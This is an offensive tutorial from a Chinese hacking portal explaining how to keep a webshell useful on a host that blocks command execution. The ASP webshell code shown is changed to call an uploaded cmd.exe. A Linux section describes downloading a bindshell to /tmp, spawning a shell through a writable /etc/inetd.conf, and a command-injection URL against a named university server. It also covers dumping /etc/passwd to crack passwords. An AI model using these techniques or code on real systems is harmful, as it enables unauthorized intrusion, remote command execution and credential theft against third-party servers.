| 网站首页 | 资讯 | Hack | 漏洞 | 网管 | 编程 | 培训 | 品黑页 | 软件 | 论坛 | 动画 | 视频 | 经典 | 教学站 | 黑客点睛 | 
服务导航 我要发布 主力频道 空间域名 精华收集 服务器出租 黑客培训 光盘刻录 特色服务 解决方案 我要投诉
您现在的位置: 华夏黑客同盟 >> Hack >> 脚本漏洞攻击 >> 正文 用户登录 新用户注册
无命令提示的权限提升         ★★★ 【字体:
无命令提示的权限提升
作者:不详 文章来源:华夏收集 点击数: 更新时间:2007-3-21
有很多朋友问他得到了一个WEBSHELL,但是想用命令提示查看用户信息什么的,但是很多主机限制了执行命令,所以很多WEBSHELL就不能失去了很大的功能......我就以ASP站长助手6.0为例把它上传到一个禁止执行的虚拟主机,然后上传一个CMD.exe,然后调用你上传的CMD来执行命令...... 
本来想搞图文教程的,但感觉太简单,文字就可以说明清楚了 

1.打开ASP站长助手6.0点击命令提示符,显示"没有权限" 
2.用ASP站长助手6.0上传功能上传一个CMD.exe(在WIN\system32\cmd.exe)到你的WEBSHELL目录(其它目录也行,把上传以后的CMD.exe绝对路径COPY出来) 
3.修改你的webshell找到调用CMD.exe的代码 
Function CmdShell() 
If Request("cmd")<>"" Then 
DefCmd = Request("cmd") 
Else 
DefCmd = "Dir "&Session("FolderPath") 
End If 
SI=" 

SI=SI&"" 
SI=SI&"" 
SI=SI&server.createobject("wscript.shell").exec("cmd.exe /c "&DefCmd).stdout.readall 
SI=SI&Chr(13)&"Rar命令行压缩示例:c:\progra~1\winrar\rar.exe a d:\web\test\web1.rar d:\web\test\web1" 
Response.Write SI 
End Function 
修改成以下载的代码 
Function CmdShell() 
If Request("cmd")<>"" Then 
DefCmd = Request("cmd") 
Else 
DefCmd = "Dir "&Session("FolderPath") 
End If 
SI=" " 
SI=SI&"" 
SI=SI&"" 
SI=SI&server.createobject("wscript.shell").exec("你想上传的cmd.exe绝对路径 /c "&DefCmd).stdout.readall 
SI=SI&Chr(13)&"Rar命令行压缩示例:c:\progra~1\winrar\rar.exe a d:\web\test\web1.rar d:\web\test\web1 

Response.Write SI 
End Function 

为了大家看得清楚把要修改的提出来就可以 
原来的: 
SI=SI&server.createobject("wscript.shell").exec("cmd.exe /c "&DefCmd).stdout.readall 
修改成: 
SI=SI&server.createobject("wscript.shell").exec("你想上传的cmd.exe绝对路径 /c "&DefCmd).stdout.readall 

比如你上伟到的目录是D:\web\www\cmd.exe那么就修改成: 
SI=SI&server.createobject("wscript.shell").exec("D:\web\www\cmd.exe /c "&DefCmd).stdout.readall 
这样你的WEBSHELL中的命令提示符就可以用了......
webshell 提升 for linux
在zone-h得到了答案,他们是这样干的 
用wget把bindshell下载到/tmp/目录下
或者再/etc/inetd.conf可写的情况下直接开一个交互的shell
然后用gcc编译
http://cgiserver.sogang.ac.kr/~gsviscom/cgi-bin/technote/main.cgi/shop.pdf?down_num=5466654&board=rebarz99&command=down_load&filename=rb9.txt|ls%20-al|
ls -al显示文件 
||中间的是显示的命令
很简单的办法是得到用户
最基本的办法是得到用户列表然后用流光跑密码 
.... etc/passwd  

责任编辑:杨勇  联系方式  Email:杨勇
电话:51228163
  • 上一篇黑客:

  • 下一篇黑客:
  • (只显示最新5条。评论内容只代表网友观点,与本站立场无关!)
    姓 名:
    * 游客填写  ·注册用户
    主 页:
    评 分:
    1分 2分 3分 4分 5分
    评论内容:
    验证码: *
  • 请遵守《互联网电子公告服务管理规定》及中华人民共和国其他各项有关法律法规。
  • 严禁发表危害国家安全、损害国家利益、破坏民族团结、破坏国家宗教政策、破坏社会稳定、侮辱、诽谤、教唆、淫秽等内容的评论 。
  • 用户需对自己在使用本站服务过程中的行为承担法律责任(直接或间接导致的)。
  • 本站管理员有权保留或删除评论内容。
  • 评论内容只代表网友个人观点,与本网站立场无关。
  • 最新hack更新
    最新推荐资讯
    相关黑客
    权限日志备份专用木马
    MS08-034服务存在权限提升漏洞
    突破机房权限为所欲为
    sa 无xp_cmdshell取权限
    Guest权限突破8法(整理)
    无xp_cmdshell下取权限
    挑战变态的SA权限!
    SA权限入侵Mssql主机
    oracle的system帐户提权
    用网站错误配置得权限
    最新会员软件
    最新推荐视频
    最新推荐动画

    Copyright @ 2005 77169.Net Inc. All rights reserved. 华夏黑客同盟 版权所有
    北京市电信通提供网络带宽

    mailto:webmaster@77169.net
    咨询QQ号:836982 / 59280880
    联系站长 QQ38588913
    热线电话: 86-10-67634029/676229433
    京ICP证041431号